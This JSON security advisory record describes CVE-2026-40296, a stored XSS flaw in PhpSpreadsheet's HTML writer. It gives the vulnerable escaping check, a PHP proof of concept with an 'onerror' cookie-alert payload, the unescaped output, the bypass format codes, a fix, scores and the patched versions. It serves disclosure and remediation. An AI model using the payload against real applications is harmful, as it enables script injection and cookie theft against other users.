{"id":"CVE-2026-40296","aliases":["GHSA-hrmw-qprp-wgmc"],"url":"https://o3.security/vulnerability/CVE-2026-40296","summary":"PhpSpreadsheet vulnerable to XSS in HTML writer via custom number format codes","details":"It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.\n\n## The Problem\n\nIn `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:\n\n```php\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, ...);\n}\n```\n\nWhen a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.\n\nEven a single trailing space in the format (`@ `) is enough to bypass the escape.\n\n## Proof of Concept\n\n```php\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\nuse PhpOffice\\PhpSpreadsheet\\Cell\\DataType;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet->getActiveSheet();\n\n// XSS payload with malicious number format\n$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);\n$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');\n\n$writer = new Html($spreadsheet);\n$writer->save('output.html');\n```\n\nThe generated HTML contains:\n```html\n<td>. <img src=x onerror=alert(document.cookie)></td>\n```\n\nThe XSS payload is **completely unescaped**.\n\n## Tested Bypass Formats\n\n| Format Code | Result | Escaped? |\n|---|---|---|\n| `General` (default) | Original value | YES (safe) |\n| `. @` | `. ` + value | **NO (XSS!)** |\n| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |\n| `x@` | `x` + value | **NO (XSS!)** |\n\nThis was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.\n\n## Impact\n\nAny application that:\n1. Accepts uploaded XLSX files from users\n2. Converts them to HTML using PhpSpreadsheet's HTML writer\n3. Displays the HTML to other users\n\n...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.\n\n## Suggested Fix\n\nAlways apply `htmlspecialchars()` regardless of whether formatting changed the value:\n\n```php\n// Instead of conditional escaping:\n$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');\n```\n\nOr escape AFTER formatting, not conditionally based on equality.\n\n## Reporter\nKeyvan Hardani","published":"2026-05-06T20:48:34.504Z","modified":"2026-10-28T02:31:15.110446069Z","cvss":{"score":5.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.00225,"percentile":0.12952,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"5.7.0"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"3.10.5"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.4.5"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.1.16"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"1.30.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40296.json"},{"type":"ADVISORY","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hrmw-qprp-wgmc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40296"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:15.110446069Z"}}